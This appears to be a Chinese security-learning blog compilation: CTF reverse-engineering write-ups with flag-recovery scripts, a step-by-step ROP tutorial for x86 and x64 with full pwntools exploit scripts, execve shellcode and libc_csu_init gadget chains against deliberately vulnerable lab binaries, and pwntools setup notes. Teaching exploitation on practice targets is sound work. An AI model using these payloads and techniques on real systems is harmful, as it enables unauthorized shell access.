} else if ((j >= 48) && (j <= 57)) {
c = (char)(j ^ 0x7);
} else {
c = (char)(j ^ 0x6);
}
}
}
}

把这段算法逆向回去就能得到正确的flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
str='XRL}D6hy4yfE7tuF6{'
str1=''
flag=''
for i in range(len(str)):
if(ord(str[i])>=97 and ord(str[i])<=109):
str1=str1 + chr(ord(str[i])+13)
else:
str1=str1+str[i]
for i in range(len(str1)):
if(ord(str1[i])>=65 and ord(str1[i])<=77):
flag=flag+chr(ord(str1[i])+13)
elif(ord(str1[i])>=110 and ord(str1[i])<=122):
flag = flag + chr(ord(str1[i]) - 13)
elif (ord(str1[i]) >= 78 and ord(str1[i]) <= 90):
flag = flag + chr(ord(str1[i]) - 13)
elif (ord(str1[i]) >= 48 and ord(str1[i]) <= 57):
flag = flag + chr(ord(str1[i]) ^ 7)
else:
flag = flag + chr(ord(str1[i]) ^ 6)
print(flag)

最后得到的结果是:KEY{Q1hl3lfR0ghS1}

0x2 Win.exe

载入IDA分析,找到关键代码处然后分析算法:根据程序的逻辑可以看出来,flag由两部分组成,上部分是由byte_415767这个数组中的字符串组成,并且根据v9这个数组里的值取下标组成上半部分flag,下半部分flag可以直接得到:1024}

解密代码如下:

1
2
3
4
5
6
7
str='sKfxEeft}f{gyrYgthtyhifsjei53UUrrr_t2cdsef66246087138\0087138'
list=[1,4,14,10,5,36,23,42,13,19,28,13,27,39,48,41,42]
str1='1024}'
flag=''
for i in list:
flag=flag+str[i]
print(flag+str1)

运行后法人结果为:KEY{e2s6ry3r5s8f61024}

0x3 defcamp

用IDA进行反汇编分析,找到关键代码,可以看到需要用户输入正确的password

函数sub_40074D是一个关键函数,里面有两个for循环,第一个for循环取qword_601080地址上的数据存入v6这个数组,第二个for循环是用v6和v9进行比较,数组v9的值为:5 2 7 2 5 6

但是在主函数中的for循环里面也调用了qword_601080,经过分析可以知道:v3=109+v9[i],所以最后得到的结果为:114 111 116 111 114 115,password就是:rotors

0x4 catalyst-system

用IDA反汇编,得到如下的伪代码

需要输入username和password,下面5个自定义函数分别对username和password做了相应的处理

将12个字节长的usrname分成3个4字节的int型并做成了方程组:

1
2
3
a−b+c=1550207830
3a+3c+b=12465522610
bc=3651346623716053780

最后解出:a = 1635017059 b = 1953724780 c = 1868915551
即username:catalyst_ceo
继续分析sub_400977这个函数

v2这个数组里存的是password,这里v2是等于一个随机数加上一个已知的数得到的,随机数有固定的随机种子srand(a1),a1是固定的所以产生的随机数也是固定的,这里可以写个C程序跑出来:

1
2
3
4
5
6
7
8
#include<stdlib.h>
#include<stdio.h>
int main()
{
srand(0x454d3e2e);
for (int i = 0;i < 10;i++)
printf("%x\n", rand());
}

最后产生的10组数为

1
2
3
4
5
6
7
8
9
10
0x684749
0x673ce537
0x7b4505e7
0x70a0b262
0x33d5253c
0x515a7675
0x596d7d5d
0x7cd29049
0x59e72db6
0x4654600d

计算出password的值后跟数组byte_6020A0数组中的值进行异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import pwn
usr=""
pwd=""
flag=""
a = 1635017059
b = 1953724780
c = 1868915551
usr +=pwn.p32(a)+pwn.p32(b)+pwn.p32(c)
rand = [0x684749, 0x673ce537, 0x7b4505e7, 0x70a0b262, 0x33d5253c, 0x515a7675, 0x596d7d5d, 0x7cd29049, 0x59e72db6, 0x4654600d]
s=[1441465642,251096121,-870437532,-944322827,647240698,638382323,282381039,-966334428,-58112612,605226810]
s2=[0x42, 0x13, 0x27, 0x62, 0x41, 0x35, 0x6B, 0x0F, 0x7B, 0x46, 0x3C, 0x3E, 0x67, 0x0C, 0x08, 0x59, 0x44, 0x72, 0x36, 0x05, 0x0F, 0x15, 0x54, 0x43, 0x38, 0x17, 0x1D, 0x18, 0x08, 0x0E, 0x5C, 0x31, 0x21, 0x16, 0x02, 0x09, 0x18, 0x14, 0x54, 0x59]
for i, j in enumerate(rand):
print hex(s[i])
pwd += pwn.p32(j+s[i])
print "pwd:", pwd
for i,j in zip(pwd,s2):
flag+=chr(ord(i)^j)
print "flag:",flag

最后得到的结果为:
ALEXCTF{1_t41d_y0u_y0u_ar3__gr34t__reverser__s33}

一步一步学ROP之x64篇

0x1 linux_64与linux_86的区别

linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。还是通过实际例子进行讲解吧,level3的程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void callsystem()
{
system("/bin/sh");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

开启ASLR并用如下的方法编译:
gcc -fno-stack-protector level3.c -o level3
通过分析源码,可以看到想要获取这个程序的shell非常简单,只需要控制PC指针跳转到callsystem()这个函数的地址上即可。因为程序本身在内存中的地址不是随机的,所以不用担心函数的地址会发生改变。接下来就是找找出栈溢出点。

1
2
gdb-peda$ pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

运行后输入这段字符串造成程序崩溃。

1
2
3
4
5
6
7
gdb-peda$ r
Starting program: /home/ruirui/Desktop/level3
Hello, World
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005e7 in vulnerable_function ()

我们可以看到PC指针并没有指向类似于0x41414141那样的地址,而是停在了vulnerable_function()函数中。这是为什么?原因就是程序的使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算溢出点。因为ret相当于”pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。

1
2
gdb-peda$ x/gx $rsp
0x7fffffffdec8: 0x41416d4141514141

在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示。随后我们就可以用pattern.py来计算溢出点。

1
2
gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136

可以看到溢出点为136字节。我们再构造一次payload,并且跳转到一个小于0x00007fffffffffff的地址,看看这次能否控制pc的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
python -c 'print "A"*136'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ r
Starting program: /home/ruirui/Desktop/level3
Hello, World
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEF
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005e7 in vulnerable_function ()
gdb-peda$ x/gx $rsp
0x7fffffffdec8: 0x000a464544434241

我们已经成功的控制了PC的指针了。所以最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
elf = ELF('level3')
p = process('./level3')
#p = remote('127.0.0.1',10001)
callsystem = 0x00000000004005b6
payload = "A"*136 + p64(callsystem)
p.send(payload)
p.interactive()

执行后的结果:

0x2 使用工具寻找gadgets

我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:

1
2
3
4
ROPEME: https://github.com/packz/ropeme
Ropper: https://github.com/sashs/Ropper
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
rp++: https://github.com/0vercl0k/rp

下面结合例子讲解,先看一下目标程序的源码level4.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}

编译方法:
gcc -fno-stack-protector level4.c -o level4 -ldl

首先目标程序会打印system()在内存中的地址,这样的话就不需要我们考虑ASLR的问题了,只需要想办法触发buffer overflow然后利用ROP执行system(“/bin/sh”)。但为了调用system(“/bin/sh”),我们需要找到一个gadget将rdi的值指向“/bin/sh”的地址。于是我们使用ROPGadget搜索一下level4中所有pop ret的gadgets。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ROPgadget --binary level4 --only "pop|ret"
Gadgets information
============================================================
0x00000000004008ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008b0 : pop r14 ; pop r15 ; ret
0x00000000004008b2 : pop r15 ; ret
0x00000000004008ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400700 : pop rbp ; ret
0x00000000004008b3 : pop rdi ; ret
0x00000000004008b1 : pop rsi ; pop r15 ; ret
0x00000000004008ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400601 : ret
0x0000000000400682 : ret 0x2009
Unique gadgets found: 12

我测试的时候在目标程序中找了pop rdi; ret这个gadget。但是这个地址不能用,而libc.so.6中的gadget是可以的,这里困惑了我好久。

1
2
3
4
ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi
0x0000000000020256 : pop rdi ; pop rbp ; ret
0x0000000000021102 : pop rdi ; ret
0x0000000000067499 : pop rdi ; ret 0xffff

现在找到了”pop rdi;ret”这个gadget了。可以开始构造ROP链了:

1
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

另外,因为我们只需要调用一次system()函数就可以获取shell,所以我们也可以搜索不带ret的gadget来构造ROP链。

1
2
3
4
5
6
7
ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi
0x0000000000196a6b : call qword ptr [rdi + rbp*2 + 0x7fe40000]
0x000000000019ada3 : call qword ptr [rdi + rbx + 2]
0x000000000007d8b0 : call qword ptr [rdi]
0x0000000000023e56 : call rdi
0x00000000001073d9 : pop rax ; pop rdi ; call rax
0x00000000001073da : pop rdi ; call rax

通过搜索结果我们发现,0x00000000001073d9 : pop rax ; pop rdi ; call rax也可以完成我们的目标。首先将rax赋值为system()的地址,rdi赋值为“/bin/sh”的地址,最后再调用call rax即可。

1
payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)

也就是说这两个ROP链都可以完成我们的目标,随便选择一个进行攻击即可。最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
libc = ELF('libc.so.6')
p = process('./level4')
#p = remote('127.0.0.1',10001)
binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset)
pop_ret_offset = 0x0000000000021102 - libc.symbols['system']
print "pop_ret_offset = " + hex(pop_ret_offset)
#pop_pop_call_offset = 0x00000000000f4739 - libc.symbols['system']
#print "pop_pop_call_offset = " + hex(pop_pop_call_offset)
print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)
binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)
pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr)
#pop_pop_call_addr = system_addr + pop_pop_call_offset
#print "pop_pop_call_addr = " + hex(pop_pop_call_addr)
p.recv()
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
#payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
print "\n##########sending payload##########\n"
p.send(payload)
p.interactive()

运行的结果如下:

0x3 通用gadgets

因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。
level3和level4的程序都留了一些辅助函数在程序中,这次我们将这些辅助函数去掉再来挑战一下。目标程序level5.c如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
00000000004005c0 <__libc_csu_init>:
4005c0: 41 57 push %r15
4005c2: 41 56 push %r14
4005c4: 41 89 ff mov %edi,%r15d
4005c7: 41 55 push %r13
4005c9: 41 54 push %r12
4005cb: 4c 8d 25 3e 08 20 00 lea 0x20083e(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry>
4005d2: 55 push %rbp
4005d3: 48 8d 2d 3e 08 20 00 lea 0x20083e(%rip),%rbp # 600e18 <__init_array_end>
4005da: 53 push %rbx
4005db: 49 89 f6 mov %rsi,%r14
4005de: 49 89 d5 mov %rdx,%r13
4005e1: 4c 29 e5 sub %r12,%rbp
4005e4: 48 83 ec 08 sub $0x8,%rsp
4005e8: 48 c1 fd 03 sar $0x3,%rbp
4005ec: e8 0f fe ff ff callq 400400 <_init>
4005f1: 48 85 ed test %rbp,%rbp
4005f4: 74 20 je 400616 <__libc_csu_init+0x56>
4005f6: 31 db xor %ebx,%ebx
4005f8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
4005ff: 00
400600: 4c 89 ea mov %r13,%rdx
400603: 4c 89 f6 mov %r14,%rsi
400606: 44 89 ff mov %r15d,%edi
400609: 41 ff 14 dc callq *(%r12,%rbx,8)
40060d: 48 83 c3 01 add $0x1,%rbx
400611: 48 39 eb cmp %rbp,%rbx
400614: 75 ea jne 400600 <__libc_csu_init+0x40>
400616: 48 83 c4 08 add $0x8,%rsp
40061a: 5b pop %rbx
40061b: 5d pop %rbp
40061c: 41 5c pop %r12
40061e: 41 5d pop %r13
400620: 41 5e pop %r14
400622: 41 5f pop %r15
400624: c3 retq

我们可以看到利用0×40061a处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,随后利用0x400600处的代码我们将r13的值赋值给rdx, r14的值赋值给rsi,r15的值赋值给edi,随后就会调用call qword ptr [r12+rbx*8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx*8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。

我们先构造payload1,利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。

1
2
3
4
5
6
7
#rdi= edi = r15, rsi = r14, rdx = r13
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x40061a) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400600) # mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着我们构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。

1
2
3
4
5
6
7
#rdi= edi = r15, rsi = r14, rdx = r13
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x40061a) + p64(0) +p64(0) + p64(1) + p64(got_read) + p64(1) + p64(got_read) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400600) # mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。

1
2
3
4
5
6
7
#rdi= edi = r15, rsi = r14, rdx = r13
#system(rdi = bss_addr+8 = "/bin/sh")
payload1 = "\x00"*136
payload1 += p64(0x40061a) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400600) # mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
#context.log_level='debug'
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
#p = remote('127.0.0.1',10001)
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400587
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=8)
payload1 = "\x00"*136
payload1 += p64(0x40061a) + p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write) + p64(1) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
#data=p.recv()
data=p.recv(8)
print data
write_addr = u64(data)
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601040
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x40061a) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x40061a) + p64(0)+ p64(1) + p64(bss_addr) + p64(0) + p64(0)+ p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
#sleep(1)
p.send(payload3)
p.interactive()

执行后的结果:

pwntools的安装方法

最近学习pwn,配置了32位和64位的pwntools环境,配置过程中虽然参考了别人的博客,但还是遇到了一些问题,总结下安装的过程便于以后的学习。

pwntools是一个CTF框架和漏洞利用开发库,用python开发,由rapid设计,旨在让使用者简单快速的编写exploit。

我自己安装的时候,将kali64,32;ubuntu64,32都安装了一遍。总的来说还是比较顺利的,在安装有的工具的时候可能会提示缺少某个安装模块(一般都是Python里的模块缺少),这时候通过pip install module
就可以了,有的情况下需要更新源。现在开始安装教程吧。

1.安装Capstone

Capstone disassembly/disassembler framework: Core (Arm, Arm64, M68K, Mips, PPC, Sparc, SystemZ, X86, X86_64, XCore) + bindings (Python, Java, Ocaml)

1
2
3
4
5
#!bash
git clone https://github.com/aquynh/capstone
cd capstone
make
make install

安装完这一步没什么错误就可以安装pwntools。

2.安装pwntools

1
2
3
4
#!bash
git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install

如果没报错,并且终端输入python进入其交互模式后,输入import pwn回车后没报错,差不多就好了。

这时候再尝试pwntools的asm功能:

1
2
>>> pwn.asm("xor eax,eax")
'1\xc0'

如果不是模块错误,报其他的错可以参考这篇文章http://www.cnblogs.com/pcat/p/5451780.html,我目前还没有遇到过。
安装完之后没有什么问题就可以开始配置练习pwn需要用到的环境了。

3.环境配置

常用的工具:

1
2
3
4
gcc: apt-get install gcc
gcc-multilib: apt-get install gcc-multilib #安装在64位的环境下,用它可以编译32位的程序 参数 -m32
socat: apt-get install socat
readelf: apt-get install readelf

  1. 安装pade
    peda是gdb的一个插件,安装后大大提升gdb在分析逆向/溢出程序时的用户体验

    1
    2
    3
    4
    #!bash
    git clone https://github.com/longld/peda.git ~/peda
    echo "source ~/peda/peda.py" >> /.gdbinit
    echo "DONE! debug your program with gdb and enjoy"
  2. 安装gadgets
    比较有名的工具有以下几种,根据自己的习惯选择:

    1
    2
    3
    4
    ROPEME: https://github.com/packz/ropeme
    Ropper: https://github.com/sashs/Ropper
    ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
    rp++: https://github.com/0vercl0k/rp

这里以 ROPgadget为例:

1
2
3
4
#!bash
git clone https://github.com/JonathanSalwan/ROPgadget.git
python setup.py install
ROPgadget

或是以pip安装:

1
2
3
4
#!bash
git clone https://github.com/JonathanSalwan/ROPgadget.git
pip install ropgadget
ROPgadget

学习过程中遇到的工具会继续更新的!

一步一步学ROP之x86篇

0x1 ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

0x2 Control Flow Hijack 程序流劫持

比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御措施也提出了各种防御方法,最常见的防御方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。

我们先从最简单的没有任何保护的程序开始,随后在一步步增加各种防御措施,接着在学习绕过的方法。首先看这个有明显缓冲区溢出的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

gcc -fno-stack-protector -z execstack -o level1 level1.c编译。-fno-stack-protector-z execstack这两个参数会分别关掉DEP和stack protector。同时我们在shell中执行:

这几条命令是用来查看ASLR是否开启。用cat命令查看randomize_va_space的值,输出的结果可能是0、1或者2,简单的来说,它们的含义如下所示:
0:禁用
1:除堆以外随机化
2:全部随机化(默认)

接下来我们开始对目标程序进行分析。首先我们先来确定溢出点的位置:

2

我们可以得到内存出错的地址为:0x41416d41,然后通过pattern offset addr计算出PC返回值的覆盖点为140个字节。只要构造一个”A”*140+ret字符串,就可以让PC执行ret_addr上的代码了。

接下来需要一段shellcode,可以用msf生成,或者是自己反编译。网上也有现成的shellcode,可以根据自己的需求去下载。https://www.exploit-db.com/shellcode/

这里我就用现成的shellcode:

1
2
3
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

这里我们使用一段最简单的执行execve("/bin/sh")命令作为shellcode,溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上,我们可以这样来构造payload=shellcode+'a'*140+ret_addr。看了蒸米的文章,说shellcode的地址是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的地址。但是你真的执行exp的时候你会发现shellcode根本就不在这个地址上。原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,当我们执行./level1的时候,buf的位置会固定在别的地址上。要解决这个问题,我们需要开启core dump或者attach到运行的程序上来看运行时的栈的地址。通过ulimit -c unlimited来开启core dump。然后让程序崩溃调试一下core dump来找shellcode的地址。

运行ulimit -c unlimited这条命令,然后让程序崩溃,会在桌面上生成一个core的文件

4

然后使用gdb查看这个查看core文件就可以获取到buf真正的地址。

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/Desktop# gdb level1 core
gdb-peda$ x/10s $esp-144
0xbffff310: "ABCD", 'A' <repeats 140 times>, "\n\363\377\277"
0xbffff3a5: ""
0xbffff3a6: ""
0xbffff3a7: ""
0xbffff3a8: ""
0xbffff3a9: ""
0xbffff3aa: ""
0xbffff3ab: ""
0xbffff3ac: "vb\341\267\001"
0xbffff3b2: ""

因为溢出点是140个字节,再加上4个字节的返回地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令x/10s $esp-144,我们可以得到buffer的地址为0xbffff310。

现在shellcode和ret_addr都有了,接下来可以去利用了。利用的脚本如下:

1
2
3
4
5
6
7
8
9
from pwn import *
p=process('./level1')
ret_addr=0xbffff310
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload=shellcode+'A'*(140-len(shellcode))+p32(ret_addr)
p.send(payload)
p.interactive()

接下来我们把目标程序绑定到某个服务器的端口上,这里我们可以使用socat这个工具来完成,命令如下:socat TCP4-LISTEN:5555,fork EXEC:./level1

因为现在目标程序是跑在socat的环境中,要把脚本中的p=process(‘./level1’)换成p=remote(‘127.0.0.1’,5555)。但是ret_addr还会发生改变,解决方法还是采用core dump的方案,然后用gdb调试core文件获取返回地址,然后就可以进行远程溢出了。

0x2 通过ret2libc绕过DEP防护

现在我们把DEP打开,依然关闭stack protector和ASLR。编译的方法如下:gcc -fno-stack-protector -o level2 level2.c这时候如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。通过cat /proc/[pid]/maps查看,你会发现level1的stack是rwx,但是level2的stack却是rw的。

1
2
level1: bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
level2: bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]

注意:可以用命令ps -aef | grep file查看pid,但是需要注意的是,先让程序运行在执行命令,否则pid一直在变化。然后用cat /proc/[pid]/maps | grep stack查看程序在栈上的权限。

如何去执行shellcode呢?我们知道level2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们可以让程序执行system('/bin/sh')的话,也可以获取shell。思路有了,接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。

如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,而且这个字符串的地址也是固定的。接下来我们需要找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。

5

